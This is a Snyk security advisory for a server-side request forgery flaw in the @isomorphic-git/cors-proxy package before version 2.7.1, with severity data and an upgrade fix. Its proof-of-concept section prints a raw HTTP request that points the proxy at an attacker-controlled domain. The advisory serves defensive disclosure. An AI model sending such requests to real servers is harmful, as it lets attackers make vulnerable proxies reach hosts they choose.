Server-side Request Forgery (SSRF) Affecting @isomorphic-git/cors-proxy package, versions <2.7.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-ISOMORPHICGITCORSPROXY-1734788
  • published20 Jan 2022
  • disclosed15 Oct 2021
  • creditJasmin Landry

Introduced: 15 Oct 2021

CVE-2021-23664  (opens in a new tab)
CWE-918  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

Overview

@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

PoC

GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

References

CVSS Scores

version 3.1